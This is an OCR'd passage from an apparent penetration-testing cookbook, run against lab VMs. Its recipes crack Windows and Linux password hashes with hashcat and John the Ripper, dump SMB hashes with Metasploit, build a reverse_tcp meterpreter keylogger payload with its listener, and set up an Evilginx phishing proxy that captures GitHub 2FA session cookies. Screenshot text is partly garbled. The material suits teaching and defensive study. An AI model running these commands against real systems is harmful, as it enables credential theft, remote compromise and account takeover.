
3728.5 kH/s (0.23ms) @ Accel:1024 Loops:1 Thr:1 Vec:8

: 3/18 (16.67%) Digests (total), 3/18 (16.67%) Digests (new)

14344385/14344385 (100.00%)
14344385 (0.00%)
14344385/14344385 (100.00%)

: Salt:@ Amplifier:0-1 Iteration:0-1

Device Generator
kristen

Figure 9.6 - hashcat output

\ ! 7/
_/@\_ The -m specifies the types of hashes. 1000 is for NTLM. Check out all the

options at https://hashcat.net/wiki/doku.php?id=hashcat.

11. In the preceding highlighted output, the first line with no password indicates a blank

password.


https://hashcat.net/wiki/doku.php?id=hashcat
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12. Let’sidentify the usernames associated with the passwords. I'm pretty sure we can guess

the username associated with Vagrant, so let’s check the other one:

cat hash.txt | grep

(enter hash ID)

)-[~/hash]
- -m 1000 -a @ hash.txt /usr/share/wordlists/rockyou.txt --s
9d51f71d913c245d35b50b: vagrant
31d6cfedd16ae931b73c59d7e0c@B9c
0fd2ebst0c4aab90171bad66c037397ee:protdcdl

— )-[~/hash]
% cat hash.txt | grep 0fd2eb40c4aab90171ba@66c037397ee
c_three_pio:1008:aad3b435b51404eeaad3bs35b51404ee:

)-[~/hash]

Figure 9.7 - Username c_three_pio
The output shows that that the c_three_pio user’s password is prOtOcOl.

13. You may close the terminal window.

How it works...

Using local access to the machine and credentials obtained elsewhere, or perhaps using the prior
recipe, we obtain the SYSTEM and SAM files. This can also be done by booting from a USB with
Kali. If you were to do this, no username or password would be required. Once we have the files,
we dump the hashes and then use hashcat with the popular rockyou. txt wordlist to obtain the

passwords and match them against the users.

See also...

For more information on using samdump2, check out this website: https://www.kali.org/tools/
samdump2/, or for information on hashcat, check out this website: https://www.kali.org/tools/
hashcat/.

Cracking remote Windows passwords

In this recipe, you will see how attackers leverage network services or protocols to crack Windows
credentials from afar. You’ll practice targeting the SMB service, employing dictionary attacks to
reveal weak passwords. This knowledge will help you identify and seal vulnerabilities on Win-

dows machines exposed to the network.


https://www.kali.org/tools/samdump2/
https://www.kali.org/tools/samdump2/
https://www.kali.org/tools/hashcat/
https://www.kali.org/tools/hashcat/
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Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e A Windows Metasploitable VM, up and operational

How to do it...
1. Open aterminal window in Kali.

2. Start Metasploit by entering:

su msfdb run

3. Now get the SMB version information. Early versions of SMB are weak and use weak

encryption to protect passwords.

use auxiliary/scanner/smb/smb_version

set RHOSTS 192.168.92.5
run

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary( ) > set RHOSTS 192.168.92.5
RHOSTS = 192.168.92.5
msf auxiliary( ) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/1ib/recog/fingerprint/y
: warning: nested repeat operator ‘+' and '?' was replaced with '*' in regular expression
.5:445 - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:(
(guid:{69fe9d57-025b-45a2-a4d3-c95150725459}) (authentication domain:VAGRANT-2008R
[+] 192.168.92.5:445 - Host is running windows 2008 R2 Standard SP1 (build:7601)
192.168.92.5 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary( N |

Figure 9.8 - SMB version

4. Let’s try to dump the password hashes. This example assumes we do not have a valid

username and password.

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.92.5

set USER_FILE /usr/share/metasploit-framework/data/wordlists/
namelist.txt

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/
password.lst

run
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5.

This will take a long time and will involve enumerating the passwords. Since we already

have a valid username and password, we are going to exit out from using the running

process by typing the following:

<CONTR

6. Aswe dohave avalid username and password, we can directly dump the hashes that we

7.

can use for password cracking:

use auxiliary/gather/windows_secrets_dump
set RHOSTS 192.168.92.5

set SMBUser vagrant

set SMBPass vagrant

run

msf auxiliary( ) > run
Running module against 192.168.92.5

/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/1ib/recog/fingerprint/regexp_

.rb:34: warning: nested repeat operator '+' and '?"' was replaced with "*
2.168.92.5:445 Service RemoteRegistry is already running
2.168.92.5:445 Retrieving target system bootKey
2.168. 1445 bootKey: 0x80f1698521f2eccf12faa25674867074
2.168. 1445 Using “INLINE technique for SAM
2.168.92.5:445 Dumping SAM hashes
2.168.92.5:445 Password hints:

No users with password hints on this system

192.168.92.5:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash: g
Administrator:500:aad3b435b51404eeaad3b435b51404ee: e97bc583339d51f71d913c745d35b59b
Guest:501:aad3b435b51404eeaad3b4s35b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089c0 ::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913¢c245d35b50b
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089c0 :
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0al6cfc061c3359db455d00ec27035
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22boe9bac82005
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:332d98c5969d05a7¢c15¢25¢99e3ef951 :::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:facbaada8b7afc418b3ateab3h7577b4
c_three_pio:1008:aad3b435b51404eeaad3b4s35b51404e fd2eb40@c4aab90171badb6c037397ee
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaata80baeca3ed

5
5
5
5

anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::

jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ecldcd52077e75aef4al1930b0917c4d4
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898F2d7db11cfb6700
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859dasfeadaf160e97d200dc9 :
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93eckeaab3d63565f37fe7f28d99ce76
greedo:1016:aad3b435b51404eeaad3bs35b51404ee:ce269c6b7d9e2f1522b44686b49082db :
chewbacca:1017:aad3b435b514084eeaad3b435b51404ee:e7200536327ee731c7fel36af4575ed
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001 :::

192.168.92.5:445 - Using “INLINE technique for CACHE and LSA

192.168.92.5:445 - Decrypting LSA Key

192.168.92.5:445 - Dumping LSA Secrets

Figure 9.9 - Hash output

Open a new terminal window and enter the following:

mkdir ~/remote_hash

cd ~/remote_hash

nano hash.txt

in regular expression
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From the other terminal window, copy the hashes and paste them into nano.
Save and exit from nano.

8. This time, let’s use John the Ripper to crack the passwords with a wordlist:

john --format=nt hash.txt \

--wordlist=/usr/share/wordlists/rockyou.txt

You will see the credentials we obtained. Note the administrator password is vagrant as

well.

9. Youmay close the terminal windows.

How it works...

In this recipe, we used the SMB protocols to obtain the hashes from the Metasploitable Windows
VM remotely. Once we have the hashes, in this case, we use John the Ripper and the same rockyou

wordlist from the previous recipe to break the hashes.

See also...

John the Ripper is an extremely popular password cracker. More information can be found at

https://www.kali.org/tools/john/.

Cracking local Linux passwords

In this recipe, you will learn how to access and decode password hashes on a Linux system. You’ll
explore where these credentials are stored and which cracking utilities are most effective. Under-
standing these processes will reveal how attackers obtain local Linux access and how adminis-

trators can fortify user authentication.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e  An Ubuntu Metasploitable VM, up and operational


https://www.kali.org/tools/john/
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How to do it...
1. Login to the Metasploitable machine with vagrant/vagrant.
2. Openaterminal window on the Metasploitable Ubuntu machine and enter the following

command to copy the Linux password files:

cd

mkdir ubuntu_hash

sudo cp /etc/passwd ~/ubuntu_hash/

sudo cp /etc/shadow ~/ubuntu_hash/
sudo chmod 644 ~/ubuntu_hash/shadow

3. Now move to the Kali machine, open a terminal window, and enter the following com-

mands:

cd

mkdir ubuntu_hash
cd ubuntu_hash
ftp 192.168.56.102

(enter the IP address of the Ubuntu VM)

Log in with vagrant/vagrant.
passive
bin
cd ubuntu_hash

get passwd

get shadow

exit
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230 User vagrant logged in

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> passive

Passive mode: off; fallback to active mode: off.

ftp> bin

200 Type set to I

ftp> cd ubuntu_hash

250 CwD command successful

ftp> get passwd

local: passwd remote: passwd

200 EPRT command successful

150 Opening BINARY mode data connection for passwd (2174 bytes)
100% |**ir***ir***ir**irir**irir**irir**irir**irir**irir***ir***ir******************
226 Transfer complete

2174 bytes received in 00:00 (1.36 MiB/s)

ftp> get shadow

local: shadow remote: shadow

200 EPRT command successful

150 Opening BINARY mode data connection for shadow (1841 bytes)
100% |**‘*‘***‘*‘***‘****‘1{***‘1{***‘1{***‘1{***‘1{***‘1{**************************
226 Transfer complete

1841 bytes received in 00:00 (1.47 MiB/s)

ftp> exit

221 Goodbye.

Figure 9.10 - Download Ubuntu files

Verify the files are present by entering dir.

We will use unshadow to combine the two files. This will leave us with a single file that we

can use a password cracker against.

unshadow passwd shadow > hash.txt

Let’s look at the combined file:

cat hash.txt

Take note of the beginning of the hash. If you look at vagrant, it starts with $6$ and
c_three_pio starts with $1$. These indicate two different hash types. This means we

need to try cracking these files with a couple of different methods.

Tip
John the Ripper can work with several different hash types. Here are a couple
of common ones:

e $1%: MD5 Crypt

e  $5%: SHA256 Crypt
e $6%: SHA512 Crypt
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8. From your terminal window, enter the following:

hn hash.txt ist=/usr/share/wo

9. After several minutes, the output will show, with the vagrant username and password

from the hash. But also note the warning that is provided:

)- ~/ubuntu h h]
hash_txt h | sr/sha wordlists/ lvou txt
: only loading hashes of type "sha512crypt", but also saw type "md5crypt"
--format=md5crypt” option to force loading hashes of that type instead
: only loading hashes of type "sha512crypt”, but also saw type "md5crypt-long"”
—-format=md5crypt-long" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
or Ctrl-C to ahort, almost any other key for status
( ant)
0:39 DONE ( 5-11-04 16:09) 0.02538g/s 2924p/s 2924c/s 2924C/s vickyl2.. teamosamuel
show" option to display all of the cracked passwords reliably
Session completed.

)-[~/ubuntu_hash]

Figure 9.11 - John with sha-512

10. Let’s try the next hash type.

john hash.txt --format=md5crypt --wordlist=/usr/share/wordlists/
rockyou. txt

Unfortunately, we found no additional passwords.

11. Let’s create our own word lists.

echo -e "vader\help_me_obiwan\theforce" > starwars.txt

john hash.txt --format=md5crypt --wordlist=./starwars.txt

12. You will see we receive a new hit for leia_organa.

= ~/ubuntu hash]

hash.txt --for wordlist=./s xt ./hash.txt
Using default input encoding UTF 8
Loaded 15 password hashes with 15 different salts (mdScrypt, crypt(3) $1$ (and variants) [MD5 256/256
AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00: DONE (2025-11-04 16:11) 0g/s @p/s @c/s 0C/s
Session completed.

— )- [~/ubuntu_hash]
%3 --show ./hash.txt
vagrant:vagrant:900:900:vagrant, ,, :/home/vagrant:/bin/bash

1 password hash cracked, 15 left

)-[~/ubuntu_hash]

Figure 9.12 - John and Leia

13. You may now close your terminal window.
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How it works...

While having superuser account passwords makes obtaining the shadow file (shown in step 2)
very easy, you can also buy the Kali Live USB drive and access it without the need to know a
password or administrative access. In this case, we capture the files, combine them, and then

run John the Ripper against the file with the rockyou word list.

See also...
While the rockyou list is a good word list, there are many more word lists out there. Some word

lists will combine word lists from prior hacking incidents. Take a look at these word lists:

e https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.
htm

e https://github.com/berzerke/Probable-Wordlists

Brute-forcing password hashes

In this recipe, you will explore the brute-force approach to uncovering passwords from their
hashes. You'll observe how automated tools cycle through all possible combinations, reviewing
how complexity directly impacts the time it takes to crack a password. The character set used and

the length of the password will exponentially increase the time it takes to brute-force.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e  Time: This recipe will take a significant amount of time if you follow it to the conclusion.
Therefore, the recipe has been kept short so you can move on to the next one while the
steps in this one get completed, or you can start it to understand the process and then

exit without completing it.

How to do it...
1. Open aterminal window.

2. Youcanusethe hash.txt files from either of the last two recipes. In our example, we will

use the last one.


https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
https://github.com/berzerk0/Probable-Wordlists

https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
https://github.com/berzerk0/Probable-Wordlists

https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
https://github.com/berzerk0/Probable-Wordlists
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3. From the terminal window, enter the following to perform a brute-force attack on the

hash.txt file in the remote_hash directory:

cd ~/remote_hash

john --format=nt --incremental=ascii hash.txt

-[~/remote hash]

U51ng default input encodlng UTF-8

Loaded 18 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Remaining 15 password hashes with no different salts

Warning: no OpenMP support for this hash type, consider --fork=2

Press 'q' or Ctrl-C to abort, almost any other key for status

Figure 9.13 - John - 1 thread

Tip
Incremental mode options:

You can adjust brute-force complexity using predefined incremental modes.

Each mode will increase the duration of the brute force attack:

e e  Lowercase only: (--incremental=Lower)
e  Uppercase only: (--incremental=Upper)
e Digitsonly: (--incremental=Digits)
e Alphanumeric: (--incremental=Alnum)

e ASCII full character set: (--incremental=ASCII)

4. From the terminal window, press the space bar. Here, you will see the status of the one

thread you have running. To exit and end the brute force, type the following:

<CONTROL> c

5. Let’s move directly on to the next recipe to gain some usage on how to make John the

Ripper a bit more aggressive.

How it works...
We started John the Ripper in brute-force mode using the ASCII character set. The full ASCII

character set will be the longest running, but will provide the best results. However, unless you
have some advanced hardware or are very lucky, this will take days to weeks before it gets a hit.

During this time, your PC will be very busy, and you will see high CPU utilization.
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Optimizing John the Ripper
In this recipe, you will learn how to use some of the advanced options and features of John the

Ripper to optimize your brute-force attacks.

Note

\G/‘ From a learning perspective, it would be better to complete the task in the previous

recipe before you start this one, but this is not a requirement.

Getting ready...

We need the following to complete this recipe:

e AKaliLinux VM, up and operational

e  Youneed to start where you left off in the previous recipe

How to do it...

1. From the same terminal window, let’s restart John using the following:

john --format=NT --incremental=ASCII --fork=4 hash.txt

2. Once it starts, you may hear your host machine ramp up. The --fork=4 option tells it
how many threads John will use. We are using four, and therefore, we are operating four
times as fast. This can be ramped up based on the number of processors and cores you

have available on the host machine and have allocated to the VM.

3. Now hit the space bar again to review the output:

kali@kali: ~/remote_hash

Session Actions Edit View Help

~/remote hash ]

U51ng default 1nput encoding: UTF-8
Loaded 18 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Remaining 15 password hashes with no different salts
Node numbers 1-4 of 4 (fork)

‘q‘ or Ctrl-C to abort, almost any other key for status
10 5 3 0g/s 29148Kp/s 29148Kc/s 438018KC/s
0g/s 20642Kp/s 20642Kc/s 310295KC/s
0g/s 20384Kp/s 20384Kc/s 306594KC/s jj j
0g/s 19672Kp/s 19672Kc/s 295984KC/s be7r@l..bra42k
0g/s 28261Kc/s 432762KC/s jcbgrl9j..jcbgomlc
0g/s 20114Kc/s 308186KC/s dcp59cm..dcp579]
0g/s 20320Kc/s 311427KC/s hyrhs@y .. hyrhblh
0g/s 20817Kc/s 318951KC/s 01M700.. 01THIU

[ NEVILS RN o S Y]

Figure 9.14 - John - 4 threads
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11.

The number on the leftindicates the thread (note there are 4). The 0g means it has found
0 passwords. Next, there is the total runtime. The p/s is how many passwords per second
are being tried per thread.

You can press the space bar at any time to get a status.

What if you need to work with your computer during the day and only want to run this

at night? In that case, enter the following to exit — ensure you only hit this once:

<CONTROL> ¢

It will gracefully exit.

To pick up where you left off, you can start it back up with the same command:

john --format=NT --incremental=ASCII --fork=4 hash.txt

If you need to work on different files at different times, you can name your session by

adding - -session=, as shown here:

<CONTROL> c

john --format=NT --incremental=ASCII --fork=4 --session=my-hash
hash.txt

You can cancel the session by entering <CONTROL> c.
You can restore the session with john --restore=my-hash.
Let’s say you know that the password is between 8 and 12 characters and want to optimize

your brute force. Enter the following:

<CONTROL-C>

john --min-length=8 --max-length=12 --format=NT --incremental=ASCII
--fork=4 --session=my-hash hash.txt

Tip
N\ ! 4
,@\ You can also use only one of these, for instance, if you know they have a

password complexity that requires a minimum of 8 characters.

You can now terminate the brute force and exit the terminal window. Or, if you prefer,
you may leave it running and continue to brute-force the passwords for as long as you

like. You can always obtain the status by hitting the space bar.
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How it works...

In this recipe, we optimized John the Ripper by enabling multiple threads, allowing it to test
passwords in parallel and greatly speeding up the brute-force process. We also explored how to
pause and resume sessions, as well as how to narrow the search space by defining minimum and

maximum password lengths. These adjustments make attacks more efficient.

See also...

More information on John the Ripper can be found here: https://www.kali.org/tools/john/

Generating custom word lists with CeWL

In this recipe, you will learn how to utilize CeWL to create custom wordlists tailored to a specific
target. By scraping content from websites or documents, you’ll produce dictionary files that
greatly improve password-cracking success rates. However, not all content can be scraped. If a
site dynamically generates content, it may not be able to be captured. This highlights why orga-
nizations should monitor the details they publish publicly.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e bee-box, up and operational

How to do it...
1. Determine the IP address of your bee-box host.

2. From Kali, open a web browser and ensure the bee-box web interface is up. Browse to
http://192.168.92.7(substitute the IP address of your bee-box host).

3. Let’srun CeWL against the website by entering the following commands:

cd

mkdir mywordlists

cd mywordlists
cewl http://192.168.92.7 -w bb_wordlist.txt

4. Let’slook at our results. The results are related to information found on the website.

cat bb_wordlist.txt



https://www.kali.org/tools/john/

http://192.168.56.108
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[j—“ )-[~/mywordlists]
cat bb_wordlist.txt
bwWAPP

extremely

buggy

web

app

Drupageddon
Evil

folder
phpMyAdmin
SQLiteManager

( )~ [~/mywordlists ]
Lo o

Figure 9.15 - Cat wordlists

Some options you can use with CeWL are the following:

-d (number): Depth of the page to follow. -d 5 means go 5 pages deep.

-m (number): Minimum word length. -m 5 meansignore words with
fewer than 5 characters.

-e: Extract e-mails — great for grabbing potential username infor-

mation.

5.  Youmay close the terminal window.

How it works...

CeWL creates a custom wordlist by scraping the website for words and adds them to a file. Often,

when people work for a company, they may use keywords as a portion of their password.

See also...

More information and options on CeWL can be found here:

https://www.kali.org/tools/cewl/


https://www.kali.org/tools/cewl/
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Expanding custom word lists with RSMangler

In this recipe, you will learn how to dramatically expand an existing wordlist using RSMangler’s

mutation capabilities. RSMangler will implement techniques such as adding numeric sequences,
shifting case, and substituting characters, illustrating how attackers transform ordinary key-
words into formidable password guesses. Understanding these methods is key to crafting truly

resilient passwords.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e  The wordlist from the previous recipe

How to do it...
1. Open aterminal window.

2. First, clean up your file and reduce the number of words using the following:

cd mywordlists

nano bb_wordlist.txt

Session Actions Edit View Help

GNU nano 8.6
bwWAPP
buggy
Drupageddon
Evill]

Figure 9.16 - Nano updated words

3. Remove any words that are unlikely to be a portion of the password.
4. Save and exit nano by entering <CONTROL> x to exit and Y to save.

5. Inthe terminal window, enter the following:

rsmangler -file bb_wordlist.txt -output bb_big wordlist.txt

6. If successful, you will be presented with no output, but anew filenamed bb_big_wordlist.

txt will be created.
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7.

8.

9.

kali@kali: ~/mywordlists
Actions Edit View Help

[ ~/mywordlists]

er —-file bb_wordlist.txt it bb_big_wordlist.txt

)~ [~/mywordlists]

Figure 9.17 - RSMangler

Tip

If you have more than five words in your input file, you will get a warning

informing you that you are about to create a large file. Also, creating this file

will take quite some time.

Let’s see how many words were created from our four words of input by entering the

following:

wc bb_big wordlist.txt

Now take a look at the output and note the large number of words in our list by using

the following:

cat bb_big wordlist.txt

Session Actions Edit View Help
EvilbuggyDrupageddonbWAPPQ9
1EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP1
2EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP2
3EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP3
4EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP4
5EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP5
6EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP6
rupageddonbWAPP
upageddonbWAPP7
rupageddonbWAPP
EvilbuggyDrupageddonbWAPP8
9EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP9
10EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP10
11EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP11
12EvilbuggyDrupageddonbWAPP
EvilbuggyDrupageddonbWAPP12

Figure 9.18 - cat big_wordlists

You may now close the terminal window.
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How it works...

RSMangler basically mutates the input words and augments them in various ways that a per-
son might use for their password, such as case toggles or substitutions, or 133t speak. However,
without adding limits, a very small number of words will create a large output. For instance, 5
words will be mutated into 100,000 entries. RSMangler grows exponentially, so you want to be

very careful with your input values.

See also...

More information on RSMangler can be found at https://www.kali.org/tools/rsmangler/.

Logging key strokes

In this recipe, you will examine how keystrokes can be captured — either through physical devices
or malicious software — and later used by attackers. You'll learn about commonly used keylogger

tools on Kali Linux.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e AWindows Metasploitable VM, up and operational

How to do it...
1. Open aterminal window in Kali.

2. Create a payload file for your key logger using msfvenom (substitute the IP address of your
Kali machine for LHOST):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.3

LPORT=4444 -f exe -o keylogger.exe

\ Tip

N\ 7/

/@\ At this point, we are not trying to obfuscate or worry about transferring the

files — those skills were taught in previous recipes.


https://www.kali.org/tools/rsmangler/
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3. Now move the payload to the Windows machine — we can accomplish this via FTP.

ftp 192.168.92.5 (use your Windows machine IP address)

vagrant/vagrant (username and password)
bin
put keylogger.exe
exit

[j4_ )-[~/exploits]
ftp 192.168.92.5

Connected to 192.168.92.5.

220 Microsoft FTP Service

Name (192.168.92.5:kali): vagrant

331 Password required for vagrant.

Password:

230 User logged in.

Remote system type is Windows_NT.

ftp> bin

200 Type set to I.

ftp> put keylogger.exe

local: keylogger.exe remote: keylogger.exe

229 Entering Extended Passive Mode (||[49273])

125 Data connection already open; Transfer starting.

100% | *xFdkdkkkhkkrrrkkdkhrrrrrkkrhrkkkhrrrkrrrris | 7680 36.25 MiB/s 00:00 ETA
226 Transfer complete.

7680 bytes sent in 00:00 (3.59 MiB/s)

ftp> exit

221 Goodbye.

[j4 )-[~/exploits]

Figure 9.19 - Payload added to Windows machine

4. Start Metasploit:

su msfdb run

5. Launch the Metasploit listener:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.92.3

set LPORT 4444

exploit
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6. Login to your Windows machine and open the file manager. Navigate to c:\inetpub\

wwwroot and you should see the keylogger. exe file. Double-click on it.

root

o

Organize *  Indudeinlibrary =  Share with +  New folder

l;: ;'Iv | .~ Computer ~ Windows 2008R2 (C:) - inetpub ~ wwwroot ~

- Favorites Name - |
M Desktop | aspnet_client 3/15f20
& Downloads | hash 11/4f20
12| Recent Places [ caidac.asp 3/19/20
- Libraries = hahaha. jpg e/
= Documents |&] indesx. himl 3/18/20
Jv, Music [ [ keylogger.exe ] 11/4f20
=] Pictures @_] seven_of_hearts,himl 3/19/20
B videos 1 six_of_diamonds.zip 3/15/20
98 Computer R welcome.png 3/18/20

gi_i Metwork

Figure 9.20 - Launch keylogger

| T 1
o

You will receive no feedback, but you may see the hourglass briefly.

7. Go back to the Kali VM. You will now see a new session created.

msf exploit( ) > exploit

Started reverse TCP handler on 192.168.92.3:4444

Sending stage (230982 bytes) to 192.168.92.5
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/1ib/recog/

fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was rep
laced with '*' in regular expression

Meterpreter session 1 opened (192.168.92.3:4444 — 192.168.92.5:49302) at 2025-11
-04 16:34:27 +0530

Figure 9.21 - New session created

8. Start the keylogger:

keyscan_start
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9. Back on the Windows machine, open Notepad and add some text to it.

Untitled - Notepad
File Edit Format View Help
my username is vagrant

my password is vagrant
it captures everything i type

Figure 9.22 - Notepad

10. In Kali, enter the following to see the keys entered:

keyscan_dump

meterpreter > keyscan_start
Starting the keystroke sniffer

meterpreter > keyscan_dump

Dumping captured keystrokes ...

my username 1s vagrant<CR>

my password 1s vagrant<CR>

it captures vereything i s<“H>type

Figure 9.23 - keyscan_dump

11. To stop the keyscanner, use keyscan_stop.

12. Exit Metasploitable and shut down your Windows VM.

How it works...

In this recipe, we created a payload for meterpreter thathad keylogging capabilities. We started
our listener and launched the payload on the Windows machine. This will grab every key stroke

entered. It will even capture the errors if you look closely at the keyscan_dump output.

There’'s more...

Keylogging has been around for a while and has evolved over time. There are even hardware
keyloggers that can sit between the computer and the keyboard, capturing the input without
compromising the PC itself. An example of hardware-based commercial keyloggers can be seen

here: https://www.keelog.com/.


https://www.keelog.com/
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Attacking 2FA

In this recipe, you will learn a method to bypass two-factor authentication (2FA), through the

use of a fake/proxy website that can capture the tokens associated with a real site.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

e A GitHub account with MFA turned on (a throwaway account is preferred)

How to do it...
1. Open a web browser on Kali and navigate to https://github.com/ArchonLabs/
evilginx2-phishlets/tree/master/phishlets.

2. Review the list of phishlets available.

Note

\ ! 7/
-@- A phishletis a YAML config file that mimics a legitimate login page used for

phishing. These may require additional work to be more accurate, but are

fine in their native form for our lab purposes.

3. Download the github.yaml phishlet.

4. Close your web browser and open a terminal window. Then move the phishlet to the

Evilginx tool using the following:

sudo mv ~/Downloads/github.yaml /usr/share/evilginx2/phishlets

5. Now launch evilginx2 using the following:

sudo evilginx2 -developer

\ Tip

\ 7/

/@\ The -developer switch puts the tool in a mode to use for alab environment.

This means it will not try and obtain a real certificate for the site.


https://github.com/ArchonLabs/evilginx2-phishlets/tree/master/phishlets
https://github.com/ArchonLabs/evilginx2-phishlets/tree/master/phishlets
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6. Ensure you see the GitHub phishlet listed in the first column of the output:

@ lali@kali: ~
Session Actions Edit View Help

L$ sudo evilginx2 -developer

: https aca alk
loading phishlets from: /usr/share/evilginx2/phishlets/

y (learn how to create phishlets)

loading configuration from: /root/.evilginx

blacklist mode set to: unauth

unauthorized request redirection URL set to: https://ww.youtube.com/watch?v=dQw4woWgXcQ
https port set to: 443

dns port set to: 53

autocert is now enabled

blacklist: loaded @ ip addresses and @ ip masks

server domain not set! type: config domain <domain>

server external ip not set! type: config ipv4 external <external_ipv4_address>

phishlet status visibility hostname unauth_url

visible
visible

Figure 9.24 - github phishlet
7. Now set up some of the defaults we need for our test using the following:
config domain test.local (this would be a domain you registered)

config ipv4 192.168.92.3 (the address of your Kali VM)

: config domain test.local

[16:54:47] [inf] server domain set to: test.local

[16:54:47] [war] server external ip not set! type: config ipv4 external <external_ipvé4_address>
: config ipv4 192.168.92.3

[16:55:06] [inf] server external IP set to: 192.168.92.3

: config

test.local
192.168.92.3

443
53
https://ww .youtube.com/watch?v=dQuwswowgXcQ
on

Figure 9.25 - Evilginx config
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8. Setthe phishlet configuration as shown here:

phishlets hostname github github.test.local

phishlets enable github

: phishlets hostname github github.test.local

[16:56:02] [inf] phishlet 'github' hostname set to: github.test.local
[16:56:02] [inf] disabled phishlet 'github’

: phishlets enable github

[16:56:13] [inf] enabled phishlet 'github'

: phishlets

phishlet status visibility hostname unauth_url

visible
enabled visible

Figure 9.26 - phishlets config

9. Now configure the lure and make note of the lure URL shown in the output:

lures create github
lures (identify the id of the lure associated with github)
lures get-url 1 (substitute the lure ID for github)

: lures create github
[16:57:05] [inf] created lure with ID: @
: lures

id phishlet hostname path redirector redirect_url paused

0

: lures get-url 0@

Figure 9.27 - Lures config
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10. Open a new terminal window and add github.test.local as shown:

sudo nano /etc/hosts

11. Add the entry, then save and exit nano using the following:

127.0.0.1 github.test.local

kali@kali: ~

nano 8.6 /etc/ha
localhost
kali

github.test.locall]

localhost ip6-localhost ip6-loopback
ip6-allnodes

ip6-allrouters

Figure 9.28 - nano /etc/hosts

Tip
N For demonstration purposes, we will be using the browser of the Kali ma-
AN chine; therefore, we can just use the loopback address. In a real-world sce-

nario, you would have this IP address registered in the DNS, or you would

be spoofing the DNS to return this.

12. Close this terminal window. Ensure you leave the Evilginx terminal window open.

13. Open your web browser and navigate to the URL identified in step 9. Accept the security
risk of the certificate.

Tip

\ ! 7/
-f@\- When notin developer mode, a valid certificate would be obtained through
Let’s Encrypt.
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14. Youwill be presented with a GitHub login page (it’s a bit off — as I mentioned, work would

be required to make it appear realistic).

Username or email
Password |

[signin |

New to GitHub

Figure 9.29 - GitHub login page

15. Login with your username, password, and second factor.
16. Looking back at the Evilginx terminal window, you will see the login information and

validation of the token interception:

: 2025/11/04 16:59:56 [001] WARN: Cannot handshake client github.com remote error: tls: unknown certificate authority
2025/11/04 16:59:56 [002] WARN: Cannot handshake client github.com remote error: tls: unknown certificate authority
[17:00:00] [EmB] [0] [ ] new visitor has arrived: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 (127.0.0.1)
[1 ] [inf] [ ] landing URL: https://github.test.local/ItmbAMrL
assword: [ 1

]

]
]

[
2 [
rization toker

Figure 9.30 - Evilginx captured information
17. You can also review this information by entering the following:
sessions (note the ID of the session you just recorded)

18. View the captured session using sessions 3.
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19. Under the cookies information is the captured session information that you can use to craft

a cookie that identifies you as the authenticated user, thereby allowing you into GitHub.

